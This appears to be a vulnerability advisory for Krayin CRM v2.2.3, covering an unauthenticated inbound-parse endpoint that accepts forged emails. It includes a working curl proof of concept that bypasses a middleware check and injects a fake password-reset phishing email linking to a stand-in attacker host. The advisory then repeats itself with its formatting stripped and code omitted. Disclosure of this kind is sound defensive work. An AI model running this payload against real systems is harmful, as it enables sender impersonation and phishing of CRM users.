Summary
The /admin/mail/inbound-parse endpoint is accessible without authentication because it is
explicitly removed from CSRF protection in bootstrap/app.php and strips the user (Bouncer)
middleware. An attacker on the network can POST arbitrary raw email content to this endpoint and
inject fabricated emails directly into the CRM inbox, impersonating any sender and forging any
subject or body. The default MAIL_RECEIVER_DRIVER is sendgrid, so the injection path is
active on a fresh installation without any additional configuration.
Details
Three independent protections are absent or trivially bypassed:
1. CSRF exception - bootstrap/app.php explicitly excludes the route from CSRF verification:
// bootstrap/app.php
$middleware->validateCsrfTokens(except: [
'admin/mail/inbound-parse', // <- explicit exception
'admin/web-forms/forms/*',
]);
2. Authentication stripped - The route definition in
packages/Webkul/Admin/src/Routes/Admin/mail-routes.php calls ->withoutMiddleware('user'),
removing the only authentication guard (the Bouncer middleware):
Route::post('inbound-parse', 'inboundParse')
->name('admin.mail.inbound_parse')
->withoutMiddleware('user'); // <- drops Bouncer auth check
3. SanitizeUrl middleware bypass - The only remaining middleware on the route is
sanitize_url. Its handle() method short-circuits for AJAX requests before checking
the route allowlist:
// packages/Webkul/Admin/src/Http/Middleware/SanitizeUrl.php
public function handle($request, Closure $next)
{
if ($request->ajax()) { // <- send X-Requested-With: XMLHttpRequest to bypass
return $next($request);
}
// ... abort(401) if route param not in allowlist
}
4. No Sendgrid signature verification - SendgridEmailProcessor::processMessage() accepts
the raw email POST parameter and passes it directly to the MIME parser without verifying the
X-Twilio-Email-Event-Webhook-Signature header that Sendgrid provides. Any caller can submit
arbitrary RFC 2822 email content.
5. Active by default - config/mail-receiver.php defaults to sendgrid:
'default' => env('MAIL_RECEIVER_DRIVER', 'sendgrid'),
When the request reaches EmailController::inboundParse(), the injected email is parsed by
Webkul\Email\Helpers\Parser, then stored by EmailRepository::create() with
folders: ['inbox'], where it becomes visible to every authenticated CRM user browsing the inbox.
PoC
Prerequisites: a running Krayin CRM instance (default configuration, MAIL_RECEIVER_DRIVER not
overridden). Replace http://TARGET with the base URL of the CRM.
# Step 1: Inject a fake email into the CRM inbox without any credentials
curl -s -X POST "http://TARGET/admin/mail/inbound-parse" \
-H "X-Requested-With: XMLHttpRequest" \
--data-urlencode 'email=From: "IT Security Team" <security@company.com>
To: <admin@company.com>
Subject: [Action Required] Immediate Password Reset
Message-ID: <injected-001@attacker.example>
Date: Sat, 13 Jun 2026 10:00:00 +0000
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
This is a security notice. Please reset your password immediately by following
the link below: http://attacker.example/phish'
# Output (HTTP 200, empty JSON array):
# []
# Step 2: Confirm the email appeared in the CRM inbox by logging in as an admin
# and browsing to /admin/mail/inbox - the injected email is now visible in the inbox
In-process validation output (email parser correctly processes the injected content):
From addresses: ["security@company.com"]
Sender name: "IT Security Team"
Subject: "[Action Required] Immediate Password Reset"
Message-ID: "<injected-001@attacker.example>"
HTML Body: (parsed body content)
All five conditions were validated against source code of v2.2.3:
bootstrap/app.php line confirms CSRF exception for admin/mail/inbound-parse
mail-routes.php confirms withoutMiddleware('user') on the inbound-parse route
SanitizeUrl.php confirms AJAX short-circuit before allowlist check
SendgridEmailProcessor.php contains no call to any signature verification function
config/mail-receiver.php confirms sendgrid is the default driver
Impact
An unauthenticated external attacker can inject arbitrary emails into the CRM inbox of every
agent. The injected emails appear alongside legitimate customer correspondence and carry any
sender name, email address, subject, and body the attacker chooses. Practical exploitation
scenarios include: spear-phishing CRM users by injecting emails that appear to come from
management or IT; flooding the inbox to disrupt operations (availability impact); poisoning
conversation threads by injecting replies that match existing message-id / reference chains;
and establishing false audit trails in customer interactions. The attack requires no account,
no credential, and no prior knowledge beyond the URL of the CRM installation.
Affected Versions: confirmed on v2.2.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
CWE: CWE-306 -- Missing Authentication for Critical Function
Summary
The
/admin/mail/inbound-parseendpoint is accessible without authentication because it isexplicitly removed from CSRF protection in
bootstrap/app.phpand strips theuser(Bouncer)middleware. An attacker on the network can POST arbitrary raw email content to this endpoint and
inject fabricated emails directly into the CRM inbox, impersonating any sender and forging any
subject or body. The default
MAIL_RECEIVER_DRIVERissendgrid, so the injection path isactive on a fresh installation without any additional configuration.
Details
Three independent protections are absent or trivially bypassed:
1. CSRF exception -
bootstrap/app.phpexplicitly excludes the route from CSRF verification:2. Authentication stripped - The route definition in
packages/Webkul/Admin/src/Routes/Admin/mail-routes.phpcalls->withoutMiddleware('user'),removing the only authentication guard (the
Bouncermiddleware):3. SanitizeUrl middleware bypass - The only remaining middleware on the route is
sanitize_url. Itshandle()method short-circuits for AJAX requests before checkingthe route allowlist:
4. No Sendgrid signature verification -
SendgridEmailProcessor::processMessage()acceptsthe raw
emailPOST parameter and passes it directly to the MIME parser without verifying theX-Twilio-Email-Event-Webhook-Signatureheader that Sendgrid provides. Any caller can submitarbitrary RFC 2822 email content.
5. Active by default -
config/mail-receiver.phpdefaults tosendgrid:When the request reaches
EmailController::inboundParse(), the injected email is parsed byWebkul\Email\Helpers\Parser, then stored byEmailRepository::create()withfolders: ['inbox'], where it becomes visible to every authenticated CRM user browsing the inbox.PoC
Prerequisites: a running Krayin CRM instance (default configuration, MAIL_RECEIVER_DRIVER not
overridden). Replace
http://TARGETwith the base URL of the CRM.In-process validation output (email parser correctly processes the injected content):
All five conditions were validated against source code of v2.2.3:
bootstrap/app.phpline confirms CSRF exception foradmin/mail/inbound-parsemail-routes.phpconfirmswithoutMiddleware('user')on the inbound-parse routeSanitizeUrl.phpconfirms AJAX short-circuit before allowlist checkSendgridEmailProcessor.phpcontains no call to any signature verification functionconfig/mail-receiver.phpconfirmssendgridis the default driverImpact
An unauthenticated external attacker can inject arbitrary emails into the CRM inbox of every
agent. The injected emails appear alongside legitimate customer correspondence and carry any
sender name, email address, subject, and body the attacker chooses. Practical exploitation
scenarios include: spear-phishing CRM users by injecting emails that appear to come from
management or IT; flooding the inbox to disrupt operations (availability impact); poisoning
conversation threads by injecting replies that match existing message-id / reference chains;
and establishing false audit trails in customer interactions. The attack requires no account,
no credential, and no prior knowledge beyond the URL of the CRM installation.
Affected Versions: confirmed on v2.2.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
CWE: CWE-306 -- Missing Authentication for Critical Function